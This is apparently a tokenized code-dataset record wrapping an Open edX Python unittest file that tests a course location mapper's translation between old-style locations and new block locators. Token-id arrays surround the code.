7, 957, 23012, 19185, 356, 2414, 23012, 19185, 12, 1585, 198, 7, 1535, 356, 1747, 789, 199, 198, 697, 14, 1131, 480, 10258, 27499, 5788, 12872, 12505, 83, 334, 10043, 12, 8904, 12, 900, 12, 5420, 12, 1824, 6712, 12, 4334, 280, 434, 12, 2414, 23012, 19185, 12, 1747, 9, 13992, 334, 4, 10043, 12, 2672, 8114, 12, 2672, 521, 12, 2672, 5875, 12, 2672, 964, 6712, 12, 2672, 2464, 280, 434, 12, 2672, 957, 23012, 19185, 12, 2672, 1535, 4186, 6802, 29, 1459, 9, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
altsen/diandiyun-platform
common/lib/xmodule/xmodule/modulestore/tests/test_location_mapper.py
6
19198
''' Created on Aug 5, 2013 @author: dmitchell ''' import unittest import uuid from xmodule.modulestore import Location from xmodule.modulestore.locator import BlockUsageLocator from xmodule.modulestore.exceptions import ItemNotFoundError, InvalidLocationError from xmodule.modulestore.loc_mapper_store import LocMapperStore from mock import Mock class TestLocationMapper(unittest.TestCase): """ Test the location to locator mapper """ def setUp(self): modulestore_options = { 'host': 'localhost', 'db': 'test_xmodule', 'collection': 'modulestore{0}'.format(uuid.uuid4().hex[:5]), } cache_standin = TrivialCache() self.instrumented_cache = Mock(spec=cache_standin, wraps=cache_standin) # pylint: disable=W0142 TestLocationMapper.loc_store = LocMapperStore(self.instrumented_cache, **modulestore_options) def tearDown(self): dbref = TestLocationMapper.loc_store.db dbref.drop_collection(TestLocationMapper.loc_store.location_map) dbref.connection.close() TestLocationMapper.loc_store = None def test_create_map(self): org = 'foo_org' course = 'bar_course' loc_mapper().create_map_entry(Location('i4x', org, course, 'course', 'baz_run')) # pylint: disable=protected-access entry = loc_mapper().location_map.find_one({ '_id': loc_mapper()._construct_location_son(org, course, 'baz_run') }) self.assertIsNotNone(entry, "Didn't find entry") self.assertEqual(entry['course_id'], '{}.{}.baz_run'.format(org, course)) self.assertEqual(entry['draft_branch'], 'draft') self.assertEqual(entry['prod_branch'], 'published') self.assertEqual(entry['block_map'], {}) # ensure create_entry does the right thing when not given a course (creates org/course # rather than org/course/run course_id) loc_mapper().create_map_entry(Location('i4x', org, course, 'vertical', 'baz_vert')) # find the one which has no name entry = loc_mapper().location_map.find_one({ '_id' : loc_mapper()._construct_location_son(org, course, None) }) self.assertIsNotNone(entry, "Didn't find entry") self.assertEqual(entry['course_id'], '{}.{}'.format(org, course)) course = 'quux_course' # oldname: {category: newname} block_map = {'abc123': {'problem': 'problem2'}} loc_mapper().create_map_entry( Location('i4x', org, course, 'problem', 'abc123', 'draft'), 'foo_org.geek_dept.quux_course.baz_run', 'wip', 'live', block_map) entry = loc_mapper().location_map.find_one({'_id.org': org, '_id.course': course}) self.assertIsNotNone(entry, "Didn't find entry") self.assertEqual(entry['course_id'], 'foo_org.geek_dept.quux_course.baz_run') self.assertEqual(entry['draft_branch'], 'wip') self.assertEqual(entry['prod_branch'], 'live') self.assertEqual(entry['block_map'], block_map) def translate_n_check(self, location, old_style_course_id, new_style_package_id, block_id, branch, add_entry=False): """ Request translation, check package_id, block_id, and branch """ prob_locator = loc_mapper().translate_location( old_style_course_id, location, published= (branch=='published'), add_entry_if_missing=add_entry ) self.assertEqual(prob_locator.package_id, new_style_package_id) self.assertEqual(prob_locator.block_id, block_id) self.assertEqual(prob_locator.branch, branch) course_locator = loc_mapper().translate_location_to_course_locator( old_style_course_id, location, published=(branch == 'published'), ) self.assertEqual(course_locator.package_id, new_style_package_id) self.assertEqual(course_locator.branch, branch) def test_translate_location_read_only(self): """ Test the variants of translate_location which don't create entries, just decode """ # lookup before there are any maps org = 'foo_org' course = 'bar_course' old_style_course_id = '{}/{}/{}'.format(org, course, 'baz_run') with self.assertRaises(ItemNotFoundError): _ = loc_mapper().translate_location( old_style_course_id, Location('i4x', org, course, 'problem', 'abc123'), add_entry_if_missing=False ) new_style_package_id = '{}.geek_dept.{}.baz_run'.format(org, course) block_map = { 'abc123': {'problem': 'problem2', 'vertical': 'vertical2'}, 'def456': {'problem': 'problem4'}, 'ghi789': {'problem': 'problem7'}, } loc_mapper().create_map_entry( Location('i4x', org, course, 'course', 'baz_run'), new_style_package_id, block_map=block_map ) test_problem_locn = Location('i4x', org, course, 'problem', 'abc123') # only one course matches self.translate_n_check(test_problem_locn, old_style_course_id, new_style_package_id, 'problem2', 'published') # look for w/ only the Location (works b/c there's only one possible course match). Will force # cache as default translation for this problemid self.translate_n_check(test_problem_locn, None, new_style_package_id, 'problem2', 'published') # look for non-existent problem with self.assertRaises(ItemNotFoundError): loc_mapper().translate_location( None, Location('i4x', org, course, 'problem', '1def23'), add_entry_if_missing=False ) test_no_cat_locn = test_problem_locn.replace(category=None) with self.assertRaises(InvalidLocationError): loc_mapper().translate_location( old_style_course_id, test_no_cat_locn, False, False ) test_no_cat_locn = test_no_cat_locn.replace(name='def456') # only one course matches self.translate_n_check(test_no_cat_locn, old_style_course_id, new_style_package_id, 'problem4', 'published') # add a distractor course (note that abc123 has a different translation in this one) distractor_block_map = { 'abc123': {'problem': 'problem3'}, 'def456': {'problem': 'problem4'}, 'ghi789': {'problem': 'problem7'}, } test_delta_new_id = '{}.geek_dept.{}.{}'.format(org, course, 'delta_run') test_delta_old_id = '{}/{}/{}'.format(org, course, 'delta_run') loc_mapper().create_map_entry( Location('i4x', org, course, 'course', 'delta_run'), test_delta_new_id, block_map=distractor_block_map ) # test that old translation still works self.translate_n_check(test_problem_locn, old_style_course_id, new_style_package_id, 'problem2', 'published') # and new returns new id self.translate_n_check(test_problem_locn, test_delta_old_id, test_delta_new_id, 'problem3', 'published') # look for default translation of uncached Location (not unique; so, just verify it returns something) prob_locator = loc_mapper().translate_location( None, Location('i4x', org, course, 'problem', 'def456'), add_entry_if_missing=False ) self.assertIsNotNone(prob_locator, "couldn't find ambiguous location") # make delta_run default course: anything not cached using None as old_course_id will use this loc_mapper().create_map_entry( Location('i4x', org, course, 'problem', '789abc123efg456'), test_delta_new_id, block_map=block_map ) # now an uncached ambiguous query should return delta test_unused_locn = Location('i4x', org, course, 'problem', 'ghi789') self.translate_n_check(test_unused_locn, None, test_delta_new_id, 'problem7', 'published') # get the draft one (I'm sorry this is getting long) self.translate_n_check(test_unused_locn, None, test_delta_new_id, 'problem7', 'draft') def test_translate_location_dwim(self): """ Test the location translation mechanisms which try to do-what-i-mean by creating new entries for never seen queries. """ org = 'foo_org' course = 'bar_course' old_style_course_id = '{}/{}/{}'.format(org, course, 'baz_run') problem_name = 'abc123abc123abc123abc123abc123f9' location = Location('i4x', org, course, 'problem', problem_name) new_style_package_id = '{}.{}.{}'.format(org, course, 'baz_run') self.translate_n_check(location, old_style_course_id, new_style_package_id, 'problemabc', 'published', True) # look for w/ only the Location (works b/c there's only one possible course match): causes cache self.translate_n_check(location, None, new_style_package_id, 'problemabc', 'published', True) # create an entry w/o a guid name other_location = Location('i4x', org, course, 'chapter', 'intro') self.translate_n_check(other_location, old_style_course_id, new_style_package_id, 'intro', 'published', True) # add a distractor course delta_new_package_id = '{}.geek_dept.{}.{}'.format(org, course, 'delta_run') delta_course_locn = Location('i4x', org, course, 'course', 'delta_run') loc_mapper().create_map_entry( delta_course_locn, delta_new_package_id, block_map={problem_name: {'problem': 'problem3'}} ) self.translate_n_check(location, old_style_course_id, new_style_package_id, 'problemabc', 'published', True) # add a new one to both courses (ensure name doesn't have same beginning) new_prob_name = uuid.uuid4().hex while new_prob_name.startswith('abc'): new_prob_name = uuid.uuid4().hex new_prob_locn = location.replace(name=new_prob_name) new_usage_id = 'problem{}'.format(new_prob_name[:3]) self.translate_n_check(new_prob_locn, old_style_course_id, new_style_package_id, new_usage_id, 'published', True) self.translate_n_check( new_prob_locn, delta_course_locn.course_id, delta_new_package_id, new_usage_id, 'published', True ) # look for w/ only the Location: causes caching and not unique; so, can't check which course prob_locator = loc_mapper().translate_location( None, new_prob_locn, add_entry_if_missing=True ) self.assertIsNotNone(prob_locator, "couldn't find ambiguous location") # add a default course pointing to the delta_run loc_mapper().create_map_entry( Location('i4x', org, course, 'problem', '789abc123efg456'), delta_new_package_id, block_map={problem_name: {'problem': 'problem3'}} ) # now the ambiguous query should return delta again_prob_name = uuid.uuid4().hex while again_prob_name.startswith('abc') or again_prob_name.startswith(new_prob_name[:3]): again_prob_name = uuid.uuid4().hex again_prob_locn = location.replace(name=again_prob_name) again_usage_id = 'problem{}'.format(again_prob_name[:3]) self.translate_n_check(again_prob_locn, old_style_course_id, new_style_package_id, again_usage_id, 'published', True) self.translate_n_check( again_prob_locn, delta_course_locn.course_id, delta_new_package_id, again_usage_id, 'published', True ) self.translate_n_check(again_prob_locn, None, delta_new_package_id, again_usage_id, 'published', True) def test_translate_locator(self): """ tests translate_locator_to_location(BlockUsageLocator) """ # lookup for non-existent course org = 'foo_org' course = 'bar_course' new_style_package_id = '{}.geek_dept.{}.baz_run'.format(org, course) prob_locator = BlockUsageLocator( package_id=new_style_package_id, block_id='problem2', branch='published' ) prob_location = loc_mapper().translate_locator_to_location(prob_locator) self.assertIsNone(prob_location, 'found entry in empty map table') loc_mapper().create_map_entry( Location('i4x', org, course, 'course', 'baz_run'), new_style_package_id, block_map={ 'abc123': {'problem': 'problem2'}, '48f23a10395384929234': {'chapter': 'chapter48f'}, 'baz_run': {'course': 'root'}, } ) # only one course matches prob_location = loc_mapper().translate_locator_to_location(prob_locator) # default branch self.assertEqual(prob_location, Location('i4x', org, course, 'problem', 'abc123', None)) # test get_course keyword prob_location = loc_mapper().translate_locator_to_location(prob_locator, get_course=True) self.assertEqual(prob_location, Location('i4x', org, course, 'course', 'baz_run', None)) # explicit branch prob_locator = BlockUsageLocator( package_id=prob_locator.package_id, branch='draft', block_id=prob_locator.block_id ) prob_location = loc_mapper().translate_locator_to_location(prob_locator) # Even though the problem was set as draft, we always return revision=None to work # with old mongo/draft modulestores. self.assertEqual(prob_location, Location('i4x', org, course, 'problem', 'abc123', None)) prob_locator = BlockUsageLocator( package_id=new_style_package_id, block_id='problem2', branch='production' ) prob_location = loc_mapper().translate_locator_to_location(prob_locator) self.assertEqual(prob_location, Location('i4x', org, course, 'problem', 'abc123', None)) # same for chapter except chapter cannot be draft in old system chap_locator = BlockUsageLocator( package_id=new_style_package_id, block_id='chapter48f', branch='production' ) chap_location = loc_mapper().translate_locator_to_location(chap_locator) self.assertEqual(chap_location, Location('i4x', org, course, 'chapter', '48f23a10395384929234')) # explicit branch chap_locator.branch = 'draft' chap_location = loc_mapper().translate_locator_to_location(chap_locator) self.assertEqual(chap_location, Location('i4x', org, course, 'chapter', '48f23a10395384929234')) chap_locator = BlockUsageLocator( package_id=new_style_package_id, block_id='chapter48f', branch='production' ) chap_location = loc_mapper().translate_locator_to_location(chap_locator) self.assertEqual(chap_location, Location('i4x', org, course, 'chapter', '48f23a10395384929234')) # look for non-existent problem prob_locator2 = BlockUsageLocator( package_id=new_style_package_id, branch='draft', block_id='problem3' ) prob_location = loc_mapper().translate_locator_to_location(prob_locator2) self.assertIsNone(prob_location, 'Found non-existent problem') # add a distractor course new_style_package_id = '{}.geek_dept.{}.{}'.format(org, course, 'delta_run') loc_mapper().create_map_entry( Location('i4x', org, course, 'course', 'delta_run'), new_style_package_id, block_map={'abc123': {'problem': 'problem3'}} ) prob_location = loc_mapper().translate_locator_to_location(prob_locator) self.assertEqual(prob_location, Location('i4x', org, course, 'problem', 'abc123', None)) # add a default course pointing to the delta_run loc_mapper().create_map_entry( Location('i4x', org, course, 'problem', '789abc123efg456'), new_style_package_id, block_map={'abc123': {'problem': 'problem3'}} ) # now query delta (2 entries point to it) prob_locator = BlockUsageLocator( package_id=new_style_package_id, branch='production', block_id='problem3' ) prob_location = loc_mapper().translate_locator_to_location(prob_locator) self.assertEqual(prob_location, Location('i4x', org, course, 'problem', 'abc123')) def test_special_chars(self): """ Test locations which have special characters """ # afaik, location.check_list prevents $ in all fields org = 'foo.org.edu' course = 'bar.course-4' name = 'baz.run_4-3' old_style_course_id = '{}/{}/{}'.format(org, course, name) location = Location('i4x', org, course, 'course', name) prob_locator = loc_mapper().translate_location( old_style_course_id, location, add_entry_if_missing=True ) reverted_location = loc_mapper().translate_locator_to_location(prob_locator) self.assertEqual(location, reverted_location) def test_name_collision(self): """ Test dwim translation when the old name was not unique """ org = "myorg" course = "another_course" name = "running_again" course_location = Location('i4x', org, course, 'course', name) course_xlate = loc_mapper().translate_location(None, course_location, add_entry_if_missing=True) self.assertEqual(course_location, loc_mapper().translate_locator_to_location(course_xlate)) eponymous_block = course_location.replace(category='chapter') chapter_xlate = loc_mapper().translate_location(None, eponymous_block, add_entry_if_missing=True) self.assertEqual(course_location, loc_mapper().translate_locator_to_location(course_xlate)) self.assertEqual(eponymous_block, loc_mapper().translate_locator_to_location(chapter_xlate)) # and a non-existent one w/o add eponymous_block = course_location.replace(category='problem') with self.assertRaises(ItemNotFoundError): chapter_xlate = loc_mapper().translate_location(None, eponymous_block, add_entry_if_missing=False) #================================== # functions to mock existing services def loc_mapper(): """ Mocks the global location mapper. """ return TestLocationMapper.loc_store def render_to_template_mock(*_args): """ Mocks the mako render_to_template w/ a noop """ class TrivialCache(object): """ A trivial cache impl """ def __init__(self): self.cache = {} def get(self, key, default=None): """ Mock the .get """ return self.cache.get(key, default) def set_many(self, entries): """ mock set_many """ self.cache.update(entries) def set(self, key, entry): """ mock set """ self.cache[key] = entry
agpl-3.0
[ 2344, 199, 10502, 641, 25298, 959, 12, 6171, 199, 199, 32, 2502, 26, 366, 1147, 335, 1697, 199, 2344, 199, 646, 2882, 199, 646, 5377, 199, 504, 9872, 14, 10012, 492, 12625, 199, 504, 9872, 14, 10012, 14, 6354, 492, 8651, 7692, 10725, 199, 504, 9872, 14, 10012, 14, 3924, 492, 7020, 10870, 12, 6378, 3040, 5263, 199, 504, 9872, 14, 10012, 14, 2102, 63, 7153, 63, 1617, 492, 6263, 11880, 5502, 199, 504, 1683, 492, 4420, 421, 199, 533, 1379, 6592, 11880, 8, 2796, 14, 1746, 304, 272, 408, 272, 1379, 314, 2909, 370, 14067, 7796, 272, 408, 339, 347, 3613, 8, 277, 304, 267, 10996, 63, 1419, 275, 469, 288, 283, 1102, 356, 283, 5967, 297, 288, 283, 697, 356, 283, 396, 63, 14293, 297, 288, 283, 3627, 356, 283, 10012, 91, 16, 5285, 908, 8, 2580, 14, 2580, 20, 1252, 4097, 1491, 21, 2522, 267, 789, 398, 2581, 63, 7935, 262, 275, 12480, 15652, 4437, 342, 267, 291, 14, 21309, 12546, 63, 1637, 275, 4420, 8, 1650, 29, 1637, 63, 7935, 262, 12, 14018, 29, 1637, 63, 7935, 262, 9, 267, 327, 4287, 26, 3507, 29, 55, 29556, 267, 1379, 6592, 11880, 14, 2102, 63, 1617, 275, 6263, 11880, 5502, 8, 277, 14, 21309, 12546, 63, 1637, 12, 1011, 10012, 63, 1419, 9, 339, 347, 6766, 8, 277, 304, 267, 1592, 1121, 275, 1379, 6592, 11880, 14, 2102, 63, 1617, 14, 697, 267, 1592, 1121, 14, 4824, 63, 3627, 8, 774, 6592, 11880, 14, 2102, 63, 1617, 14, 1985, 63, 1130, 9, 267, 1592, 1121, 14, 2105, 14, 1600, 342, 267, 1379, 6592, 11880, 14, 2102, 63, 1617, 275, 488, 339, 347, 511, 63, 981, 63, 1130, 8, 277, 304, 267, 5981, 275, 283, 1421, 63, 1308, 7, 267, 2518, 275, 283, 1700, 63, 1972, 7, 267, 4355, 63, 7153, 1252, 981, 63, 1130, 63, 2373, 8, 6592, 360, 73, 20, 88, 297, 5981, 12, 2518, 12, 283, 1972, 297, 283, 6185, 63, 1065, 1333, 267, 327, 4287, 26, 3507, 29, 6798, 13, 2732, 267, 2397, 275, 4355, 63, 7153, 1252, 1985, 63, 1130, 14, 1623, 63, 368, 2561, 288, 2513, 344, 356, 4355, 63, 7153, 19050, 8514, 63, 1985, 63, 834, 8, 1308, 12, 2518, 12, 283, 6185, 63, 1065, 358, 267, 3828, 267, 291, 14, 10389, 8, 2373, 12, 298, 17366, 78, 1133, 2342, 2397, 531, 267, 291, 14, 629, 8, 2373, 459, 1972, 63, 344, 995, 9005, 14, 31270, 6185, 63, 1065, 1370, 908, 8, 1308, 12, 2518, 430, 267, 291, 14, 629, 8, 2373, 459, 7185, 63, 4694, 995, 283, 7185, 358, 267, 291, 14, 629, 8, 2373, 459, 8788, 63, 4694, 995, 283, 8987, 358, 267, 291, 14, 629, 8, 2373, 459, 1457, 63, 1130, 995, 5009, 398, 327, 4868, 1218, 63, 2373, 1630, 314, 2451, 8377, 1380, 440, 1627, 282, 2518, 334, 28219, 5981, 15, 1972, 267, 327, 7830, 2419, 5981, 15, 1972, 15, 1065, 2518, 63, 344, 9, 267, 4355, 63, 7153, 1252, 981, 63, 1130, 63, 2373, 8, 6592, 360, 73, 20, 88, 297, 5981, 12, 2518, 12, 283, 7870, 297, 283, 6185, 63, 1884, 1333, 267, 327, 2342, 314, 1373, 1314, 965, 949, 536, 267, 2397, 275, 4355, 63, 7153, 1252, 1985, 63, 1130, 14, 1623, 63, 368, 2561, 288, 2513, 344, 7, 520, 4355, 63, 7153, 19050, 8514, 63, 1985, 63, 834, 8, 1308, 12, 2518, 12, 488, 9, 267, 3828, 267, 291, 14, 10389, 8, 2373, 12, 298, 17366, 78, 1133, 2342, 2397, 531, 267, 291, 14, 629, 8, 2373, 459, 1972, 63, 344, 995, 9005, 14, 11123, 908, 8, 1308, 12, 2518, 430, 398, 2518, 275, 283, 32050, 63, 1972, 7, 267, 327, 2269, 354, 26, 469, 3710, 26, 26383, 93, 267, 1853, 63, 1130, 275, 791, 3175, 4288, 356, 791, 6462, 356, 283, 6462, 18, 18620, 267, 4355, 63, 7153, 1252, 981, 63, 1130, 63, 2373, 8, 288, 12625, 360, 73, 20, 88, 297, 5981, 12, 2518, 12, 283, 6462, 297, 283, 3175, 4288, 297, 283, 7185, 659, 288, 283, 1421, 63, 1308, 14, 303, 5711, 63, 271, 541, 14, 32050, 63, 1972, 14, 6185, 63, 1065, 297, 288, 283, 87, 711, 297, 288, 283, 6442, 297, 288, 1853, 63, 1130, 9, 267, 2397, 275, 4355, 63, 7153, 1252, 1985, 63, 1130, 14, 1623, 63, 368, 3252, 63, 344, 14, 1308, 356, 5981, 12, 2513, 344, 14, 1972, 356, 2518, 1552, 267, 291, 14, 10389, 8, 2373, 12, 298, 17366, 78, 1133, 2342, 2397, 531, 267, 291, 14, 629, 8, 2373, 459, 1972, 63, 344, 995, 283, 1421, 63, 1308, 14, 303, 5711, 63, 271, 541, 14, 32050, 63, 1972, 14, 6185, 63, 1065, 358, 267, 291, 14, 629, 8, 2373, 459, 7185, 63, 4694, 995, 283, 87, 711, 358, 267, 291, 14, 629, 8, 2373, 459, 8788, 63, 4694, 995, 283, 6442, 358, 267, 291, 14, 629, 8, 2373, 459, 1457, 63, 1130, 995, 1853, 63, 1130, 9, 339, 347, 9028, 63, 78, 63, 1074, 8, 277, 12, 2909, 12, 2269, 63, 2487, 63, 1972, 63, 344, 12, 892, 63, 2487, 63, 2491, 63, 344, 12, 1853, 63, 344, 12, 5246, 12, 1050, 63, 2373, 29, 797, 304, 267, 408, 267, 4784, 7761, 12, 1104, 2559, 63, 344, 12, 1853, 63, 344, 12, 436, 5246, 267, 408, 267, 5128, 63, 6354, 275, 4355, 63, 7153, 1252, 5275, 63, 1985, 8, 288, 2269, 63, 2487, 63, 1972, 63, 344, 12, 288, 2909, 12, 288, 3267, 29, 334, 4694, 6803, 8987, 659, 288, 1050, 63, 2373, 63, 692, 63, 4752, 29, 525, 63, 2373, 267, 776, 267, 291, 14, 629, 8, 6101, 63, 6354, 14, 2491, 63, 344, 12, 892, 63, 2487, 63, 2491, 63, 344, 9, 267, 291, 14, 629, 8, 6101, 63, 6354, 14, 1457, 63, 344, 12, 1853, 63, 344, 9, 267, 291, 14, 629, 8, 6101, 63, 6354, 14, 4694, 12, 5246, 9, 398, 2518, 63, 6354, 275, 4355, 63, 7153, 1252, 5275, 63, 1985, 63, 475, 63, 1972, 63, 6354, 8, 1779, 2269, 63, 2487, 63, 1972, 63, 344, 12, 1779, 2909, 12, 1779, 3267, 2687, 4694, 508, 283, 8987, 659, 267, 776, 267, 291, 14, 629, 8, 1972, 63, 6354, 14, 2491, 63 ]
[ 199, 10502, 641, 25298, 959, 12, 6171, 199, 199, 32, 2502, 26, 366, 1147, 335, 1697, 199, 2344, 199, 646, 2882, 199, 646, 5377, 199, 504, 9872, 14, 10012, 492, 12625, 199, 504, 9872, 14, 10012, 14, 6354, 492, 8651, 7692, 10725, 199, 504, 9872, 14, 10012, 14, 3924, 492, 7020, 10870, 12, 6378, 3040, 5263, 199, 504, 9872, 14, 10012, 14, 2102, 63, 7153, 63, 1617, 492, 6263, 11880, 5502, 199, 504, 1683, 492, 4420, 421, 199, 533, 1379, 6592, 11880, 8, 2796, 14, 1746, 304, 272, 408, 272, 1379, 314, 2909, 370, 14067, 7796, 272, 408, 339, 347, 3613, 8, 277, 304, 267, 10996, 63, 1419, 275, 469, 288, 283, 1102, 356, 283, 5967, 297, 288, 283, 697, 356, 283, 396, 63, 14293, 297, 288, 283, 3627, 356, 283, 10012, 91, 16, 5285, 908, 8, 2580, 14, 2580, 20, 1252, 4097, 1491, 21, 2522, 267, 789, 398, 2581, 63, 7935, 262, 275, 12480, 15652, 4437, 342, 267, 291, 14, 21309, 12546, 63, 1637, 275, 4420, 8, 1650, 29, 1637, 63, 7935, 262, 12, 14018, 29, 1637, 63, 7935, 262, 9, 267, 327, 4287, 26, 3507, 29, 55, 29556, 267, 1379, 6592, 11880, 14, 2102, 63, 1617, 275, 6263, 11880, 5502, 8, 277, 14, 21309, 12546, 63, 1637, 12, 1011, 10012, 63, 1419, 9, 339, 347, 6766, 8, 277, 304, 267, 1592, 1121, 275, 1379, 6592, 11880, 14, 2102, 63, 1617, 14, 697, 267, 1592, 1121, 14, 4824, 63, 3627, 8, 774, 6592, 11880, 14, 2102, 63, 1617, 14, 1985, 63, 1130, 9, 267, 1592, 1121, 14, 2105, 14, 1600, 342, 267, 1379, 6592, 11880, 14, 2102, 63, 1617, 275, 488, 339, 347, 511, 63, 981, 63, 1130, 8, 277, 304, 267, 5981, 275, 283, 1421, 63, 1308, 7, 267, 2518, 275, 283, 1700, 63, 1972, 7, 267, 4355, 63, 7153, 1252, 981, 63, 1130, 63, 2373, 8, 6592, 360, 73, 20, 88, 297, 5981, 12, 2518, 12, 283, 1972, 297, 283, 6185, 63, 1065, 1333, 267, 327, 4287, 26, 3507, 29, 6798, 13, 2732, 267, 2397, 275, 4355, 63, 7153, 1252, 1985, 63, 1130, 14, 1623, 63, 368, 2561, 288, 2513, 344, 356, 4355, 63, 7153, 19050, 8514, 63, 1985, 63, 834, 8, 1308, 12, 2518, 12, 283, 6185, 63, 1065, 358, 267, 3828, 267, 291, 14, 10389, 8, 2373, 12, 298, 17366, 78, 1133, 2342, 2397, 531, 267, 291, 14, 629, 8, 2373, 459, 1972, 63, 344, 995, 9005, 14, 31270, 6185, 63, 1065, 1370, 908, 8, 1308, 12, 2518, 430, 267, 291, 14, 629, 8, 2373, 459, 7185, 63, 4694, 995, 283, 7185, 358, 267, 291, 14, 629, 8, 2373, 459, 8788, 63, 4694, 995, 283, 8987, 358, 267, 291, 14, 629, 8, 2373, 459, 1457, 63, 1130, 995, 5009, 398, 327, 4868, 1218, 63, 2373, 1630, 314, 2451, 8377, 1380, 440, 1627, 282, 2518, 334, 28219, 5981, 15, 1972, 267, 327, 7830, 2419, 5981, 15, 1972, 15, 1065, 2518, 63, 344, 9, 267, 4355, 63, 7153, 1252, 981, 63, 1130, 63, 2373, 8, 6592, 360, 73, 20, 88, 297, 5981, 12, 2518, 12, 283, 7870, 297, 283, 6185, 63, 1884, 1333, 267, 327, 2342, 314, 1373, 1314, 965, 949, 536, 267, 2397, 275, 4355, 63, 7153, 1252, 1985, 63, 1130, 14, 1623, 63, 368, 2561, 288, 2513, 344, 7, 520, 4355, 63, 7153, 19050, 8514, 63, 1985, 63, 834, 8, 1308, 12, 2518, 12, 488, 9, 267, 3828, 267, 291, 14, 10389, 8, 2373, 12, 298, 17366, 78, 1133, 2342, 2397, 531, 267, 